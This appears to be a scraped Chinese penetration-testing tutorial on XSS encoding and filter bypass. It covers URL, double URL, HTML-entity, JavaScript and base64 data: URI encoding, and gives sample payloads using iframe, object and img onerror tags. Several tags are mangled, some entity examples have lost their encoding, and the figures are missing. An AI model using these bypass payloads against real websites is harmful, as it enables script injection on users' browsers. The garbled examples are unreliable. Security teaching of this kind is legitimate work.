【渗透测试】六、XSS编码及绕过原理

一、URL编码

url编码:一个百分号和该字符的ASCII编码所对应的2位十六进制数字。
例如:"/"的url编码位%2F

URL 防止sql注入

URL编码平时是用不到的,因为IE会自动将输入到地址栏的非数字字母转换为url编码。曾有人提出数据库名字里带上“#”以防止被下载,因为IE遇到#就会忽略后面的字母。破解方法很简单——用url编码%23替换掉#。现在SQL注射非常流行,所以就有人写了一些防注射的脚本。

URL 编码对照表

URL 编码形式表示的 ASCII 字符(十六进制格式)。

十六进制格式用于在浏览器和插件中显示非标准的字母和字符。

URL 编码 - 从 %00 到 %8f

ASCII Value URL-encode ASCII Value URL-encode ASCII Value URL-encode
æ %00 0 %30 ` %60
%01 1 %31 a %61
%02 2 %32 b %62
%03 3 %33 c %63
%04 4 %34 d %64
%05 5 %35 e %65
%06 6 %36 f %66
%07 7 %37 g %67
backspace %08 8 %38 h %68
tab %09 9 %39 i %69
linefeed %0a : %3a j %6a
%0b ; %3b k %6b
%0c < %3c l %6c
c return %0d = %3d m %6d
%0e > %3e n %6e
%0f ? %3f o %6f
%10 @ %40 p %70
%11 A %41 q %71
%12 B %42 r %72
%13 C %43 s %73
%14 D %44 t %74
%15 E %45 u %75
%16 F %46 v %76
%17 G %47 w %77
%18 H %48 x %78
%19 I %49 y %79
%1a J %4a z %7a
%1b K %4b { %7b
%1c L %4c | %7c
%1d M %4d } %7d
%1e N %4e ~ %7e
%1f O %4f %7f
space %20 P %50 %80
! %21 Q %51 %81
" %22 R %52 %82
# %23 S %53 ƒ %83
$ %24 T %54 %84
% %25 U %55 %85
& %26 V %56 %86
%27 W %57 %87
( %28 X %58 ˆ %88
) %29 Y %59 %89
* %2a Z %5a Š %8a
+ %2b [ %5b %8b
, %2c \ %5c Π%8c
- %2d ] %5d %8d
. %2e ^ %5e Ž %8e
/ %2f _ %5f %8f

URL 编码 - 从 %90 到 %ff

ASCII Value URL-encode ASCII Value URL-encode ASCII Value URL-encode
%90 À %c0 ð %f0
%91 Á %c1 ñ %f1
%92 Â %c2 ò %f2
%93 Ã %c3 ó %f3
%94 Ä %c4 ô %f4
%95 Å %c5 õ %f5
%96 Æ %c6 ö %f6
%97 Ç %c7 ÷ %f7
˜ %98 È %c8 ø %f8
%99 É %c9 ù %f9
š %9a Ê %ca ú %fa
%9b Ë %cb û %fb
œ %9c Ì %cc ü %fc
%9d Í %cd ý %fd
ž %9e Î %ce þ %fe
Ÿ %9f Ï %cf ÿ %ff
%a0 Ð %d0
¡ %a1 Ñ %d1
¢ %a2 Ò %d2
£ %a3 Ó %d3
%a4 Ô %d4
¥ %a5 Õ %d5
| %a6 Ö %d6
§ %a7 %d7
¨ %a8 Ø %d8
© %a9 Ù %d9
ª %aa Ú %da
« %ab Û %db
¬ %ac Ü %dc
¯ %ad Ý %dd
® %ae Þ %de
¯ %af ß %df
° %b0 à %e0
± %b1 á %e1
² %b2 â %e2
³ %b3 ã %e3
´ %b4 ä %e4
µ %b5 å %e5
%b6 æ %e6
· %b7 ç %e7
¸ %b8 è %e8
¹ %b9 é %e9
º %ba ê %ea
» %bb ë %eb
¼ %bc ì %ec
½ %bd í %ed
¾ %be î %ee
¿ %bf ï %ef

双url编码:对url编码在进行一次编码 %27 -- > %2527

二、HTML编码

【渗透测试】六、XSS编码及绕过原理_第1张图片

三、javascript编码

【渗透测试】六、XSS编码及绕过原理_第2张图片

四、各个编码利用场景

1、base64编码

Data协议使用方法:data:资源类型;编码,内容
例如:

<a href="可控点">
<iframe src="可控点">

在这种情况下如果过滤了<> ' " javascript的话,那么xss可以这样写,利用base64编码!
将<img src=x onerror=alert(1)><script>alert(1)script> 整条base64编码为 PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==和PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

<html>
<head>
	<title>title>
head>
<body>

<a href="data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">clicka> 


<object data="data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">clickobject> 



<iframe src="data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">clickiframe>

body>
html>

标签解析原理
【渗透测试】六、XSS编码及绕过原理_第3张图片

2、HTML实体编码(十进制和十六进制)

【渗透测试】六、XSS编码及绕过原理_第4张图片
【渗透测试】六、XSS编码及绕过原理_第5张图片
十进制编码

<img src=1 onerror="window.location='https://www.baidu.com'"> 
	
<img src=1 onerror="window.location='https://www.baidu.com'">

<img src=1 onerror="window.location='https://www.baidu.com'">

【渗透测试】六、XSS编码及绕过原理_第6张图片
【渗透测试】六、XSS编码及绕过原理_第7张图片

3、javascript编码

【渗透测试】六、XSS编码及绕过原理_第8张图片
【渗透测试】六、XSS编码及绕过原理_第9张图片
【渗透测试】六、XSS编码及绕过原理_第10张图片

4、URL编码

【渗透测试】六、XSS编码及绕过原理_第11张图片

你可能感兴趣的:(渗透测试,javascript,web,html)